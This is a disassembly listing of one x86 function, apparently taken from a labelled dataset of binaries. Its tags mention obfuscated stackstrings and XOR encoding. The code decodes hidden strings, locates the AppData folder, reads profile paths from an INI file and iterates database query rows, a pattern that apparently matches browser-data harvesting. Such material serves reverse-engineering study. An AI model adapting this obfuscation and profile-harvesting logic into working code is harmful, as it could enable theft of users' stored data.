Function at 0x447a00
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x52c2a4
push eax
mov eax, 0x148c
mov dword fs:[0], esp
call fcn.004e7770
push esi
mov esi, ecx
push edi
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 4], 1
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.0048c650
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x60], 1
mov eax, esp
lea ecx, [ebp - 0x11c]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00488c00
add esp, 8
mov byte [ebp - 4], 3
xor edx, edx
mov byte [ebp - 0x44], 1
mov edi, 0xf
mov byte [ebp - 0x43], 0x19
mov byte [ebp - 0x42], 0x18
mov byte [ebp - 0x41], 3
mov byte [ebp - 0x40], 0xd
mov byte [ebp - 0x3f], 6
mov byte [ebp - 0x3e], 0xd
mov byte [ebp - 0x3d], 0x17
mov byte [ebp - 0x3c], 0x70
mov al, byte [ebp - 0x44]
mov dword [ebp - 0x20], edx
nop
mov al, byte [ebp + edx - 0x44]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0xbe160769
mov edx, 0x2e603141
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x20]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x44], al
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 9
jb 0x447ab0
lea eax, [ebp - 0x44]
mov ecx, esi
push eax
call fcn.0048f530
mov edi, eax
mov byte [ebp - 4], 4
mov dl, byte [edi]
mov cl, byte [ebp - 0x11c]
mov byte [edi], cl
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x110]
mov byte [ebp - 0x11c], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x110], esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x114]
push dword [ebp - 0x11c]
call fcn.0048c330
push 0x104
lea eax, [ebp - 0x498]
push 0
push eax
call fcn.004fec40
add esp, 0xc
lea eax, [ebp - 0x498]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x498]
lea ecx, [ebp - 0x1d0]
call fcn.0048f290
add esp, 4
mov byte [ebp - 4], 5
xor edx, edx
mov byte [ebp - 0x5b], 0xac
mov esi, 0xf
mov byte [ebp - 0x5a], 0x81
mov byte [ebp - 0x59], 0x8b
mov byte [ebp - 0x58], 0x69
mov byte [ebp - 0x57], 0x6b
mov byte [ebp - 0x56], 0x6f
mov byte [ebp - 0x55], 0x6e
mov byte [ebp - 0x54], 0x69
mov byte [ebp - 0x53], 0x73
mov byte [ebp - 0x52], 0x2e
mov byte [ebp - 0x51], 0x63
mov byte [ebp - 0x50], 0x60
mov byte [ebp - 0x4f], 0x6c
mov byte [ebp - 0x4e], 5
mov al, byte [ebp - 0x5b]
mov dword [ebp - 0x20], edx
mov al, byte [ebp + edx - 0x5b]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x814c66fd
mov edx, 0x8cfc6d65
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x20]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x5b], al
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 0xe
jb 0x447bd2
lea eax, [ebp - 0x5b]
push eax
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x1a0]
call fcn.0048f160
add esp, 4
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1a0]
cmp dword [ebp - 0x18c], 0x10
cmovae eax, dword [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1498]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea edi, [ebp - 0x1498]
mov dword [ebp - 0x20], edi
nop word [eax + eax]
mov byte [ebp - 0x3b], 0x70
xor edx, edx
mov byte [ebp - 0x3a], 0x56
mov byte [ebp - 0x39], 0x4a
mov byte [ebp - 0x38], 0x49
mov byte [ebp - 0x37], 0x46
mov byte [ebp - 0x36], 0x48
mov byte [ebp - 0x35], 0x4c
mov byte [ebp - 0x34], 0x21
mov al, byte [ebp - 0x3b]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x3b]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xd2e67225
mov edx, 0xdc11f89e
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x3b], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 8
jb 0x447c90
push 7
lea eax, [ebp - 0x3b]
push eax
push edi
call fcn.0050a23f
add esp, 0xc
test eax, eax
jne 0x448a22
push 0x104
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.004fec40
add esp, 0xc
lea esi, [ebp - 0x1a0]
cmp dword [ebp - 0x18c], 0x10
mov edi, 0xf
cmovae esi, dword [ebp - 0x1a0]
xor edx, edx
mov byte [ebp - 0x2e], 0x60
mov byte [ebp - 0x2d], 0x50
mov byte [ebp - 0x2c], 0x4a
mov byte [ebp - 0x2b], 0x59
mov byte [ebp - 0x2a], 0x39
mov al, byte [ebp - 0x2e]
mov dword [ebp - 0x14], edx
nop
mov al, byte [ebp + edx - 0x2e]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x565c5d31
mov edx, 0xc3367ac1
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x31]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x2e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 5
jb 0x447d30
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x394]
push esi
push 0x104
push eax
push 0
lea eax, [ebp - 0x2e]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 0x16], 0xac
xor edx, edx
mov byte [ebp - 0x15], 0xf1
mov al, byte [ebp - 0x16]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x16]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0x89aed71c
cmovae ecx, eax
mov eax, 0xd9b2ebfd
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x16], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 2
jb 0x447da0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x16]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447df0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1c0]
sub eax, edx
cmp eax, ecx
jb 0x448a78
cmp dword [ebp - 0x1bc], 0x10
lea eax, [ebp - 0x1d0]
push ecx
cmovae eax, dword [ebp - 0x1d0]
lea ecx, [ebp - 0x16]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x1f8]
call fcn.00493330
mov esi, dword [ebp - 0x60]
lea eax, [ebp - 0x394]
or esi, 2
lea edx, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x60], esi
call fcn.0048f1f0
add esp, 4
mov byte [ebp - 4], 8
and esi, 0xfffffffd
mov dword [ebp - 0x60], esi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1f8]
call fcn.0040b870
xorps xmm0, xmm0
mov dword [ebp - 0xac], 0
lea ecx, [ebp - 0x394]
mov dword [ebp - 0xa8], 0
movups xmmword [ebp - 0xbc], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447ea0
sub ecx, edx
lea eax, [ebp - 0x394]
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040bb00
mov byte [ebp - 4], 0xa
lea edi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov esi, dword [ebp - 0xac]
cmovae edi, dword [ebp - 0xbc]
test esi, esi
je 0x448029
push esi
push 0x2f
push edi
call fcn.00500430
add esp, 0xc
test eax, eax
je 0x448029
sub eax, edi
cmp eax, 0xffffffff
je 0x448029
mov byte [ebp - 0x18], 0xdf
xor edx, edx
mov byte [ebp - 0x17], 0xf1
mov al, byte [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x18]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0x89aed71c
cmovae ecx, eax
mov eax, 0xd9b2ebfd
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x18], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 2
jb 0x447f11
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x1e0], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447f80
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.0040bb00
mov byte [ebp - 4], 0xb
sub esp, 0x18
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x1dc], esp
mov ecx, esp
push eax
call fcn.0048ac50
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x170]
call fcn.00415760
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x16c]
mov esi, dword [ebp - 0x170]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xbc]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x448014
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x448007
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.0048a9b0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x170]
call fcn.0048ccb0
mov esi, dword [ebp - 0xac]
cmp dword [ebp - 0xa8], 0x10
lea edi, [ebp - 0xbc]
cmovae edi, dword [ebp - 0xbc]
test esi, esi
je 0x448183
push esi
push 0x5c
push edi
call fcn.00500430
add esp, 0xc
test eax, eax
je 0x448183
sub eax, edi
cmp eax, 0xffffffff
je 0x448183
mov byte [ebp - 0x1a], 0xac
xor edx, edx
mov byte [ebp - 0x19], 0xf1
mov al, byte [ebp - 0x1a]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1a]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0x89aed71c
cmovae ecx, eax
mov eax, 0xd9b2ebfd
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1a], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 2
jb 0x448074
sub esp, 0x18
lea ecx, [ebp - 0x1a]
mov edx, esp
mov dword [ebp - 0x1d8], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4480e0
sub ecx, esi
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, edx
call fcn.0040bb00
mov byte [ebp - 4], 0xe
sub esp, 0x18
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x1d4], esp
mov ecx, esp
push eax
call fcn.0048ac50
mov byte [ebp - 4], 0xf
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x164]
call fcn.00415760
add esp, 0x30
mov byte [ebp - 4], 0x10
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x160]
mov esi, dword [ebp - 0x164]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xbc]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x448174
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x448167
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.0048a9b0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x164]
call fcn.0048ccb0
mov byte [ebp - 0x74], 0xac
xor edx, edx
mov byte [ebp - 0x73], 0x9f
mov esi, 0xf
mov byte [ebp - 0x72], 0x99
mov byte [ebp - 0x71], 0x82
mov byte [ebp - 0x70], 0x93
mov byte [ebp - 0x6f], 0x93
mov byte [ebp - 0x6e], 0x9f
mov byte [ebp - 0x6d], 0x81
mov byte [ebp - 0x6c], 0x8f
mov byte [ebp - 0x6b], 0x9d
mov byte [ebp - 0x6a], 0x8a
mov byte [ebp - 0x69], 0x78
mov byte [ebp - 0x68], 0x2d
mov byte [ebp - 0x67], 0x74
mov byte [ebp - 0x66], 0x76
mov byte [ebp - 0x65], 0x6b
mov byte [ebp - 0x64], 0x69
mov byte [ebp - 0x63], 0x7d
mov byte [ebp - 0x62], 0x63
mov byte [ebp - 0x61], 0
mov al, byte [ebp - 0x74]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x74]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xed1781f5
mov edx, 0x345217c6
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0xb]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x74], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x14
jb 0x4481e0
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x188]
call fcn.0048f160
add esp, 4
mov byte [ebp - 4], 0x11
xor edx, edx
mov byte [ebp - 0x23], 0xc2
mov byte [ebp - 0x22], 0xd3
mov byte [ebp - 0x21], 0xbb
mov al, byte [ebp - 0x23]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x23]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xec92e0b9
mov edx, 0x210f6849
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x23], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 3
jb 0x448250
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x23]
lea eax, [ebp - 0x188]
cmovae eax, dword [ebp - 0x188]
push ecx
push eax
call fcn.00502ab0
add esp, 8
test eax, eax
je 0x44895e
push eax
call fcn.0050633e
add esp, 4
mov byte [ebp - 0xec], 0
lea ecx, [ebp - 0xe4]
push 0
call fcn.0048c650
mov byte [ebp - 4], 0x13
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x12c]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00488c00
add esp, 8
mov byte [ebp - 4], 0x14
mov al, byte [ebp - 0xec]
test al, al
jne 0x448322
mov byte [ebp - 0xec], 1
call fcn.004903b0
mov ecx, eax
mov dword [ebp - 0xe4], ecx
mov al, byte [ebp - 0xec]
jmp 0x448328
mov ecx, dword [ebp - 0xe4]
cmp al, 1
jne 0x448ad7
lea eax, [ebp - 0xbc]
push eax
call fcn.0048c830
mov edi, eax
mov byte [ebp - 4], 0x17
mov dl, byte [edi]
mov cl, byte [ebp - 0x12c]
mov byte [edi], cl
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x120]
mov byte [ebp - 0x12c], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], esi
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x124]
push dword [ebp - 0x12c]
call fcn.0048c330
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
lea edx, [ebp - 0xd8]
cmovae ecx, dword [ebp - 0x188]
call fcn.00422a10
test eax, eax
jne 0x4488be
mov byte [ebp - 0xa2], 0xe3
xor edx, edx
mov byte [ebp - 0xa1], 0xf0
mov byte [ebp - 0xa0], 0xf8
mov byte [ebp - 0x9f], 0x86
mov byte [ebp - 0x9e], 0x84
mov byte [ebp - 0x9d], 0x9a
mov byte [ebp - 0x9c], 0xe8
mov byte [ebp - 0x9b], 0xab
mov byte [ebp - 0x9a], 0xa0
mov byte [ebp - 0x99], 0xaf
mov byte [ebp - 0x98], 0xa4
mov byte [ebp - 0x97], 0xa1
mov byte [ebp - 0x96], 0xac
mov byte [ebp - 0x95], 0xa3
mov byte [ebp - 0x94], 0xa3
mov byte [ebp - 0x93], 0xaf
mov byte [ebp - 0x92], 0xec
mov byte [ebp - 0x91], 0xe5
mov byte [ebp - 0x90], 0xb2
mov byte [ebp - 0x8f], 0xb2
mov byte [ebp - 0x8e], 0xbb
mov byte [ebp - 0x8d], 0xab
mov byte [ebp - 0x8c], 0xbd
mov byte [ebp - 0x8b], 0xfd
mov byte [ebp - 0x8a], 0x9f
mov byte [ebp - 0x89], 0x88
mov byte [ebp - 0x88], 0x97
mov byte [ebp - 0x87], 0x98
mov byte [ebp - 0x86], 0xf2
mov byte [ebp - 0x85], 0xbf
mov byte [ebp - 0x84], 0xb1
mov byte [ebp - 0x83], 0xa0
mov byte [ebp - 0x82], 0x8f
mov byte [ebp - 0x81], 0xb3
mov byte [ebp - 0x80], 0xbb
mov byte [ebp - 0x7f], 0x91
mov byte [ebp - 0x7e], 0x8a
mov byte [ebp - 0x7d], 0x86
mov byte [ebp - 0x7c], 0x81
mov byte [ebp - 0x7b], 0x9e
mov byte [ebp - 0x7a], 0x9d
mov byte [ebp - 0x79], 0x85
mov byte [ebp - 0x78], 0x9a
mov byte [ebp - 0x77], 0x9c
mov byte [ebp - 0x76], 0xd9
mov byte [ebp - 0x75], 0xe2
mov al, byte [ebp - 0xa2]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0xa2]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0x658bdfcc
cmovae ecx, eax
mov eax, 0x9bc63bbd
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x43]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xa2], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x2e
jb 0x4484e0
mov edi, dword [ebp - 0xd8]
lea eax, [ebp - 0xd4]
push ecx
push eax
push ecx
lea edx, [ebp - 0xa2]
mov ecx, edi
call fcn.004d7710
add esp, 0xc
test eax, eax
jne 0x4488b7
mov esi, dword [ebp - 0xd4]
mov ecx, esi
call fcn.004c2fb0
cmp eax, 0x64
jne 0x4488b0
xor edx, edx
mov ecx, esi
call fcn.004c32a0
mov edx, 1
mov dword [ebp - 0x130], eax
mov ecx, esi
call fcn.004c32a0
push 0
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x138], eax
mov byte [ebp - 0xd0], 0
call fcn.0048c650
mov byte [ebp - 4], 0x19
xorps xmm0, xmm0
lea edx, [ebp - 0x130]
mov byte [ebp - 0x10c], 0
lea ecx, [ebp - 0x10c]
movq qword [ebp - 0x104], xmm0
call fcn.004a1050
mov byte [ebp - 4], 0x1a
mov byte [ebp - 0x33], 0x5e
mov byte [ebp - 0x32], 0x50
mov byte [ebp - 0x31], 0x53
mov byte [ebp - 0x30], 0x54
mov byte [ebp - 0x2f], 0x39
mov al, byte [ebp - 0x33]
xor eax, eax
mov dword [ebp - 0x14], eax
mov cl, byte [ebp + eax - 0x33]
mov edx, 0xc3367ac1
mov byte [ebp - 0xd], cl
mov ecx, eax
and ecx, 0xf
mov eax, 0xf
cmp ecx, 0xf
cmovae ecx, eax
mov eax, 0x565c5d31
shl ecx, 2
call fcn.00522040
mov dl, al
mov eax, dword [ebp - 0x14]
and dl, 0xf
lea ecx, [eax + 0x31]
xor dl, cl
xor dl, byte [ebp - 0xd]
mov byte [ebp + eax - 0x33], dl
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 5
jb 0x4485e2
lea eax, [ebp - 0x33]
push eax
lea ecx, [ebp - 0xd0]
call fcn.0048f530
mov edi, eax
mov byte [ebp - 4], 0x1b
mov dl, byte [edi]
mov cl, byte [ebp - 0x10c]
mov eax, dword [ebp - 0x104]
mov byte [edi], cl
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0x100]
mov byte [ebp - 0x10c], dl
mov byte [ebp - 0x134], dl
mov edx, dword [edi + 8]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x104], edx
mov dword [ebp - 0x100], esi
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x104]
push dword [ebp - 0x134]
call fcn.0048c330
xorps xmm0, xmm0
mov byte [ebp - 0xfc], 0
lea edx, [ebp - 0x138]
movq qword [ebp - 0xf4], xmm0
lea ecx, [ebp - 0xfc]
call fcn.004a1050
mov byte [ebp - 4], 0x1c
xor edx, edx
mov byte [ebp - 0x29], 0x86
mov byte [ebp - 0x28], 0x90
mov byte [ebp - 0x27], 0x9d
mov byte [ebp - 0x26], 0x73
mov byte [ebp - 0x25], 0x6d
mov byte [ebp - 0x24], 0xe
mov al, byte [ebp - 0x29]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x29]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0x889ee0d3
cmovae ecx, eax
mov eax, 0xb3c96efd
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x29], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 6
jb 0x4486d3
mov al, byte [ebp - 0xd0]
test al, al
jne 0x448754
push 1
lea ecx, [ebp - 0x158]
mov byte [ebp - 0xd0], 1
call fcn.0048c650
mov eax, dword [ebp - 0x154]
mov esi, dword [ebp - 0x158]
mov dword [ebp - 0xc8], esi
mov dword [ebp - 0xc4], eax
mov al, byte [ebp - 0xd0]
jmp 0x44875a
mov esi, dword [ebp - 0xc8]
cmp al, 1
jne 0x448a82
xorps xmm0, xmm0
mov dword [ebp - 0x140], 0
lea edx, [ebp - 0x29]
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x150], xmm0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x448786
sub edx, ecx
lea eax, [ebp - 0x29]
push edx
push eax
lea ecx, [ebp - 0x150]
call fcn.0040bb00
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x150]
push eax
mov ecx, esi
call fcn.00492d40
mov edi, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0x10
jb 0x4487f1
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4487e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a7d
push ecx
push edx
call fcn.004e6a11
add esp, 8
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
mov byte [ebp - 4], 0x20
mov cl, byte [edi]
mov al, byte [ebp - 0xfc]
mov byte [edi], al
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov eax, dword [ebp - 0xf4]
mov byte [ebp - 0xfc], cl
mov byte [ebp - 0xc0], cl
mov ecx, dword [ebp - 0xf0]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xf4], edx
mov dword [ebp - 0xf0], esi
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0xf4]
push dword [ebp - 0xc0]
call fcn.0048c330
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0xec]
call fcn.004884a0
lea ecx, [ebp - 0xd0]
push ecx
mov ecx, eax
call fcn.00488230
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xc8]
push dword [ebp - 0xd0]
call fcn.0048c330
mov esi, dword [ebp - 0xd4]
mov ecx, esi
call fcn.004c2fb0
cmp eax, 0x64
je 0x448566
mov edi, dword [ebp - 0xd8]
mov ecx, esi
call fcn.004c2c20
mov ecx, edi
call fcn.00422df0
mov byte [ebp - 0x4d], 1
xor edx, edx
mov byte [ebp - 0x4c], 0x19
mov esi, 0xf
mov byte [ebp - 0x4b], 0x18
mov byte [ebp - 0x4a], 3
mov byte [ebp - 0x49], 0xd
mov byte [ebp - 0x48], 6
mov byte [ebp - 0x47], 0xd
mov byte [ebp - 0x46], 0x17
mov byte [ebp - 0x45], 0x70
mov al, byte [ebp - 0x4d]
mov dword [ebp - 0x14], edx
nop
mov al, byte [ebp + edx - 0x4d]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xbe160769
mov edx, 0x2e603141
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x4d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x4488f0
mov ecx, dword [ebp - 0xdc]
lea eax, [ebp - 0x4d]
push eax
call fcn.0048f530
lea ecx, [ebp - 0xec]
push ecx
mov ecx, eax
call fcn.00488230
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xe4]
push dword [ebp - 0xec]
call fcn.0048c330
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x188]
call fcn.0040b870
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x4489ab
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4489a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a7d
push ecx
push edx
call fcn.004e6a11
add esp, 8
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x1a4]
cmp ecx, 0x10
jb 0x448a04
mov edx, dword [ebp - 0x1b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4489fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a7d
push ecx
push edx
call fcn.004e6a11
add esp, 8
mov edi, dword [ebp - 0x20]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
mov dword [ebp - 0x20], edi
cmp byte [edi], 0
jne 0x447c60
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1a0]
call fcn.0040b870
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d0]
call fcn.0040b870
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040b870
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0040b180
call fcn.00501f00
lea ecx, [ebp - 0xd0]
call fcn.0048c950
push eax
lea ecx, [ebp - 0x248]
call fcn.0040b750
mov byte [ebp - 4], 0x1e
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x260]
call fcn.0048f320
mov byte [ebp - 4], 0x1f
mov edx, 0x131
push eax
lea ecx, [ebp - 0x214]
call fcn.00412b50
add esp, 8
lea eax, [ebp - 0x214]
push 0x56c680
push eax
call fcn.004fe48b
lea ecx, [ebp - 0xec]
call fcn.0048c950
push eax
lea ecx, [ebp - 0x278]
call fcn.0040b750
